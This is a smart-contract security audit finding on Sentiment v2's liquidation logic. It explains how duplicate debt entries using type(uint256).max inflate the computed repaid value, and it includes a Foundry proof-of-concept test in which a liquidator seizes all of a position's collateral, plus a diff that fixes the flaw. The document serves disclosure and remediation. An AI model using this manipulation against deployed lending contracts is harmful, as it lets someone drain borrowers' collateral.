Clever Lead Dog

High

# A liquidator can seize more or even all collateral assets from all liquidatable positions

## Summary

A liquidator can execute the `PositionManager::liquidate()` to liquidate a liquidatable position. The liquidator must repay debt assets (`debtRepaidValue` represented in ETH) for a profit from seizing the liquidating position's collateral assets at a discounted price.

To validate that a liquidator must not seize the liquidating position's collateral assets (`assetSeizedValue` represented in ETH) too much (beyond the discounted price), the `liquidate()` will trigger the `RiskModule::_validateSeizedAssetValue()` to validate that the `assetSeizedValue` must not exceed the maximum seizable asset value, `maxSeizedAssetValue`. 

However, I discovered that the process of computing the `maxSeizedAssetValue` variable in the `_validateSeizedAssetValue()` can be manipulated, opening up a vulnerability for a liquidator to seize collateral assets more than they should or even all collateral assets.

## Vulnerability Detail

The root cause of the vulnerability is an approach in which the `_validateSeizedAssetValue()` simulates the `debtRepaidValue` variable. With the "[`amt == type(uint256).max`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/RiskModule.sol#L140-L141)" option (`@1` in the snippet below), a liquidator can manipulate the input data to increase the `debtRepaidValue` to be larger than the actual repayable value.

Let's consider the following `debtData` input array as an example:
- `debtData[0]: { poolId: <same poolId>, amt: 0.99e18 }`
- `debtData[1]: { poolId: <same poolId>, amt: type(uint256).max }`

Assume that the position's total debt value is `1e18`. Therefore, when setting the input `amt` == `type(uint256).max` will represent `1e18`.

When processing the above `debtData` input array, therefore, in the first loop iteration, `amt` == `0.99e18`, whereas in the second iteration, `amt` == `1e18` (no deducting the value from the first iteration's `amt`).

As you can see, the [`debtRepaidValue` variable](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/RiskModule.sol#L144) (`@2`) will be larger than the actual repayable value since the sum of the two `amts` will be `1.99e18`, more significant than the total debt value, which is `1e18` only. Because the (simulated) `debtRepaidValue` was manipulated to be larger than the actual value, the resulting [`maxSeizedAssetValue` variable](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/RiskModule.sol#L156-L157) (`@3`) will also be larger than the actual value. Hence, the liquidator can seize the liquidating position's collateral assets more than they should.

```solidity
    // FILE: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/RiskModule.sol
    function _validateSeizedAssetValue(
        address position,
        DebtData[] calldata debtData,
        AssetData[] calldata assetData,
        uint256 discount
    ) internal view {
        // compute value of debt repaid by the liquidator
        uint256 debtRepaidValue;
        uint256 debtLength = debtData.length;
        for (uint256 i; i < debtLength; ++i) {
            uint256 poolId = debtData[i].poolId;

            //@audit @1 -- With the "amt == type(uint256).max" option, a liquidator can manage to
            //             increase the debtRepaidValue (in ETH) to be larger than the actual repayable value.
            //
            //             For instance, consider the following debtData array:
            //               - debtData[0]: { poolId: <same poolId>, amt: 0.99e18 }
            //               - debtData[1]: { poolId: <same poolId>, amt: type(uint256).max }
            //
			//             Assume that the position's total debt value is 1e18. Therefore, 
            //             when setting the input amt == type(uint256).max will represent 1e18.
            //
            //             Therefore, in the 1st loop iteration, amt == 0.99e18, whereas in the 2nd iteration, 
            //             amt == 1e18 (no deducting the value from the 1st iteration's amt).
@1          uint256 amt = debtData[i].amt;
@1          if (amt == type(uint256).max) amt = pool.getBorrowsOf(poolId, position);

            address poolAsset = pool.getPoolAssetFor(poolId);
            IOracle oracle = IOracle(riskEngine.getOracleFor(poolAsset));

            //@audit @2 -- As per @1, the sum of the two amts will be 1.99e18, larger than 
            //             the actual debt repayable value (total debt value in ETH == 1e18).
@2          debtRepaidValue += oracle.getValueInEth(poolAsset, amt);
        }

        // compute value of assets seized by the liquidator
        uint256 assetSeizedValue;
        uint256 assetDataLength = assetData.length;
        for (uint256 i; i < assetDataLength; ++i) {
            IOracle oracle = IOracle(riskEngine.getOracleFor(assetData[i].asset));
            assetSeizedValue += oracle.getValueInEth(assetData[i].asset, assetData[i].amt);
        }

        //@audit @3 -- Because the (simulated) debtRepaidValue was manipulated to be larger than 
        //             the actual value, the resulting maxSeizedAssetValue will also be larger 
        //             than the actual value.
        //
        //             Hence, the liquidator can seize collateral assets more than they should.
        //
        // max asset value that can be seized by the liquidator
@3      uint256 maxSeizedAssetValue = debtRepaidValue.mulDiv(1e18, (1e18 - discount));
@3      if (assetSeizedValue > maxSeizedAssetValue) {
            revert RiskModule_SeizedTooMuch(assetSeizedValue, maxSeizedAssetValue);
        }
    }
```
- `@1`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/RiskModule.sol#L140-L141
- `@2`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/RiskModule.sol#L144
- `@3`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/RiskModule.sol#L156-L157

As you can see in `@4` below, the `liquidate()` will invoke the [`validateLiquidation()`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L435) to validate the `assetSeizedValue` against the `maxSeizedAssetValue`, which is calculated from the simulated `debtRepaidValue` (not the absolute value). This value can be manipulated to be larger than the actual value (refer to `@1` - `@3` for details).

Subsequently, the liquidator can [seize the liquidating position's collateral assets](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L438) (`@5`) more than they should (`assetSeizedValue` == `1.99e18`, represented in ETH). Meanwhile, the liquidator only has to [repay debt assets in ETH == total debt value (`1e18`)](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L439) (`@6`).

To elaborate on `@6`, the below explains the actual repayment process conducted by the [`PositionManager::_repayPositionDebt()`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L491-L492) (`@7`).

The `debtData` input array:
- `debtData[0]: { poolId: <same poolId>, amt: 0.99e18 }`
- `debtData[1]: { poolId: <same poolId>, amt: type(uint256).max }`

Again, the position's total debt value is `1e18`. Therefore, when setting the input `amt` == `type(uint256).max` will represent `1e18`.

When processing the above `debtData` input array in the [`_repayPositionDebt()`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L491-L492) (`@7`), in the first loop iteration, `amt` == `0.99e18`, whereas in the second iteration, `amt` == `0.01e18` (after deducting the first iteration's `amt`).

For this reason, the liquidator only has to [repay debt assets in ETH == total debt value (`1e18`)](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L494) (`@8`), in exchange for all of the liquidating position's collateral assets (`assetSeizedValue` == `1.99e18`, represented in ETH).

*Please refer to the coded PoC below for the solid proof.*

```solidity
    // FILE: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/PositionManager.sol
    function liquidate(
        address position,
        DebtData[] calldata debtData,
        AssetData[] calldata assetData
    ) external nonReentrant {
        //@audit @4 -- The root cause is that the validateLiquidation() calculates the maxSeizedAssetValue 
        //             using the simulated debtRepaidValue (not the absolute value) that can be manipulated 
        //             to be larger than the actual value (refer to @1 - @3 for details).
@4      riskEngine.validateLiquidation(position, debtData, assetData);

        // liquidate
        //
        //@audit @5 -- Subsequently, the liquidator can seize collateral assets more than they should 
        //             (assetSeizedValue == 1.99e18 in ETH).
@5      _transferAssetsToLiquidator(position, assetData);

        //@audit @6 -- However, the liquidator only has to repay debt assets in ETH == total debt value (1e18).
@6      _repayPositionDebt(position, debtData);

        // position should be within risk thresholds after liquidation
        if (!riskEngine.isPositionHealthy(position)) revert PositionManager_HealthCheckFailed(position);
        emit Liquidation(position, msg.sender, ownerOf[position]);
    }

    function _repayPositionDebt(address position, DebtData[] calldata debtData) internal {
        // sequentially repay position debts
        // assumes the position manager is approved to pull assets from the liquidator
        uint256 debtDataLength = debtData.length;
        for (uint256 i; i < debtDataLength; ++i) {
            uint256 poolId = debtData[i].poolId;
            address poolAsset = pool.getPoolAssetFor(poolId);

            //@audit @7 -- To elaborate on @6, the below explains the actual repayment process 
            //             conducted by the `PositionManager::_repayPositionDebt()`.
            //
            //             The debtData array:
            //               - debtData[0]: { poolId: <same poolId>, amt: 0.99e18 }
            //               - debtData[1]: { poolId: <same poolId>, amt: type(uint256).max }
            //
            //             Assume that the position's total debt value is 1e18. Therefore, 
            //             when setting the input amt == type(uint256).max will represent 1e18.
            //
            //             Therefore, in the 1st loop iteration, amt == 0.99e18, whereas in the 2nd iteration, 
            //             amt == 0.01e18 (after deducting the 1st iteration's amt).
@7          uint256 amt = debtData[i].amt;
@7          if (amt == type(uint256).max) amt = pool.getBorrowsOf(poolId, position);

            //@audit @8 -- Thus, the liquidator only has to repay debt assets in ETH == total debt value (1e18),
            //             in exchange for all of the liquidating position's collateral assets (assetSeizedValue == 1.99e18, 
            //             represented in ETH).
            //
            // transfer debt asset from the liquidator to the pool
@8          IERC20(poolAsset).safeTransferFrom(msg.sender, address(pool), amt);

            // trigger pool repayment which assumes successful transfer of repaid assets
            pool.repay(poolId, position, amt);
            // update position to reflect repayment of debt by liquidator
            Position(payable(position)).repay(poolId, amt);
        }
    }
```
- `@4`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L435
- `@5`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L438
- `@6`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L439
- `@7`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L491-L492
- `@8`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L494

## Proof of Concept

This section provides a coded PoC. 

Place the `testPoCLiquidateInputManipulation()` in the `./protocol-v2/test/integration/LiquidationTest.t.sol` file, declare the following `import` directive at the top of the test file: `import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";`, and apply the `Math` library to the `LiquidationTest` contract using the statement: `using Math for uint256;`.

To run the test, execute the command: `forge t --nmt "Fork|invariant" --mt testPoCLiquidateInputManipulation`.

The PoC shows that a liquidator can repay only the debt assets of a `1e18` value in ETH but can seize all of the liquidating position's collateral assets (total seized value == `1.99e18` in ETH).

```solidity
function testPoCLiquidateInputManipulation() public {
    // Required:
    //  - Import lib: import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
    //  - Apply lib: using Math for uint256;

    vm.startPrank(user);
    asset2.approve(address(positionManager), 1e18);

    // Deposit 1e18 asset2, borrow 1e18 asset1 (similar to the testSeizeTooMuch())
    Action[] memory actions = new Action[](7);
    (position, actions[0]) = newPosition(user, bytes32(uint256(0x123456789)));
    actions[1] = deposit(address(asset2), 1e18);
    actions[2] = addToken(address(asset2));
    actions[3] = borrow(fixedRatePool, 1e18);
    actions[4] = approve(address(mockswap), address(asset1), 1e18);
    bytes memory data = abi.encodeWithSelector(SWAP_FUNC_SELECTOR, address(asset1), address(asset3), 1e18);
    actions[5] = exec(address(mockswap), 0, data);
    actions[6] = addToken(address(asset3));
    positionManager.processBatch(position, actions);
    vm.stopPrank();
    assertTrue(riskEngine.isPositionHealthy(position));

    (uint256 totalAssetValue, uint256 totalDebtValue, uint256 minReqAssetValue) = riskEngine.getRiskData(position);

    assertEq(totalAssetValue, 2e18);
    assertEq(totalDebtValue, 1e18);
    assertEq(minReqAssetValue, 2e18);

    // Construct liquidator data #1 (without input manipulation)
    DebtData memory debtData_withoutManipulation = DebtData({ poolId: fixedRatePool, amt: type(uint256).max }); // 1e18
    DebtData[] memory debts_withoutManipulation = new DebtData[](1);
    debts_withoutManipulation[0] = debtData_withoutManipulation; // 1e18

    AssetData memory asset2Data = AssetData({ asset: address(asset2), amt: 1e18 }); // Seize all position's collateral (asset2)
    AssetData memory asset3Data = AssetData({ asset: address(asset3), amt: 1e18 }); // Seize all position's collateral (asset3)
    AssetData[] memory assets = new AssetData[](2);
    assets[0] = asset2Data;
    assets[1] = asset3Data;

    // Attempt to liquidate before price moves
    asset1.mint(liquidator, 1e18);
    vm.startPrank(liquidator);
    asset1.approve(address(positionManager), 1e18);
    vm.expectRevert(abi.encodeWithSelector(RiskModule.RiskModule_LiquidateHealthyPosition.selector, position));
    positionManager.liquidate(position, debts_withoutManipulation, assets);
    vm.stopPrank();

    // Modify asset2 price from 1 eth to 0.9 eth
    FixedPriceOracle pointNineEthOracle = new FixedPriceOracle(0.9e18);
    vm.prank(protocolOwner);
    riskEngine.setOracle(address(asset2), address(pointNineEthOracle));
    assertFalse(riskEngine.isPositionHealthy(position));

    // Calculate the maxSeizedAssetValue
    (totalAssetValue, totalDebtValue, ) = riskEngine.getRiskData(position);
    uint256 maxSeizedAssetValue;
    {
        uint256 debtRepaidValue = totalDebtValue;
        uint256 discount = riskEngine.riskModule().LIQUIDATION_DISCOUNT();

        // Max asset value that can be seized by the liquidator (see the formula below in the RiskModule::_validateSeizedAssetValue())
        maxSeizedAssetValue = debtRepaidValue.mulDiv(1e18, (1e18 - discount));
    }

    // Liquidate with expected revert: "RiskModule_SeizedTooMuch"
    vm.startPrank(liquidator);
    asset1.approve(address(positionManager), 1e18);
    vm.expectRevert(abi.encodeWithSelector(RiskModule.RiskModule_SeizedTooMuch.selector, totalAssetValue, maxSeizedAssetValue));
    positionManager.liquidate(position, debts_withoutManipulation, assets);
    vm.stopPrank();

    assertGt(totalAssetValue, maxSeizedAssetValue); // totalAssetValue > maxSeizedAssetValue

    // Construct liquidator data #2 (with input manipulation)
    DebtData memory debtData_withManipulation1 = DebtData({ poolId: fixedRatePool, amt: 0.99e18 }); // Extra DebtData inserted!!
    DebtData memory debtData_withManipulation2 = DebtData({ poolId: fixedRatePool, amt: type(uint256).max }); // 1e18
    DebtData[] memory debts_withManipulation = new DebtData[](2);
    debts_withManipulation[0] = debtData_withManipulation1; // Extra DebtData inserted!!
    debts_withManipulation[1] = debtData_withManipulation2; // 1e18

    // Pre-liquidating assertions
    assertEq(asset2.balanceOf(position), 1e18);
    assertEq(asset3.balanceOf(position), 1e18);

    assertEq(asset2.balanceOf(liquidator), 0);
    assertEq(asset3.balanceOf(liquidator), 0);

    (uint256 currentTotalAssetValue, , ) = riskEngine.getRiskData(position);
    assertEq(currentTotalAssetValue, totalAssetValue); // The totalAssetValue remains unchanged

    // Liquidate successfully with extra profit (seize all position's collateral assets)
    vm.startPrank(liquidator);
    positionManager.liquidate(position, debts_withManipulation, assets);
    vm.stopPrank();

    // Post-liquidating assertions
    assertEq(asset2.balanceOf(position), 0); // Seized all position's collateral (asset2)
    assertEq(asset3.balanceOf(position), 0); // Seized all position's collateral (asset3)

    assertGt(totalAssetValue, maxSeizedAssetValue); // totalAssetValue > maxSeizedAssetValue
    assertEq(asset2.balanceOf(liquidator), 1e18); // Seized all position's collateral (asset2)
    assertEq(asset3.balanceOf(liquidator), 1e18); // Seized all position's collateral (asset3)
}
```

## Impact

The reported vulnerability is at a critical level, which can affect all liquidatable positions in the protocol. In other words, attackers (i.e., liquidators) can seize more or even all collateral assets from all liquidatable positions.

## Code Snippet

- `@1`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/RiskModule.sol#L140-L141

- `@2`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/RiskModule.sol#L144

- `@3`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/RiskModule.sol#L156-L157

- `@4`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L435

- `@5`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L438

- `@6`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L439

- `@7`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L491-L492

- `@8`: https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/25a0c8aeaddec273c5318540059165696591ecfb/protocol-v2/src/PositionManager.sol#L494

## Tool used

Manual Review

## Recommendation

The `maxSeizedAssetValue` variable should be calculated from the `debtRepaidValue` variable returned from the `_repayPositionDebt()` (i.e., using the actual repaid value rather than using the simulated value that can be manipulated).

For this reason, a liquidator can no longer manipulate the `debtRepaidValue`.

```diff
    function liquidate(
        address position,
        DebtData[] calldata debtData,
        AssetData[] calldata assetData
    ) external nonReentrant {
        riskEngine.validateLiquidation(position, debtData, assetData);

        // liquidate
-       _transferAssetsToLiquidator(position, assetData);
+       uint256 assetSeizedValue = _transferAssetsToLiquidator(position, assetData);
-       _repayPositionDebt(position, debtData);
+       uint256 debtRepaidValue = _repayPositionDebt(position, debtData);

+       // max asset value that can be seized by the liquidator
+       uint256 maxSeizedAssetValue = debtRepaidValue.mulDiv(1e18, (1e18 - riskEngine.riskModule().LIQUIDATION_DISCOUNT()));
+       if (assetSeizedValue > maxSeizedAssetValue) {
+           revert PositionManager_SeizedTooMuch(assetSeizedValue, maxSeizedAssetValue);
+       }

        // position should be within risk thresholds after liquidation
        if (!riskEngine.isPositionHealthy(position)) revert PositionManager_HealthCheckFailed(position);
        emit Liquidation(position, msg.sender, ownerOf[position]);
    }
```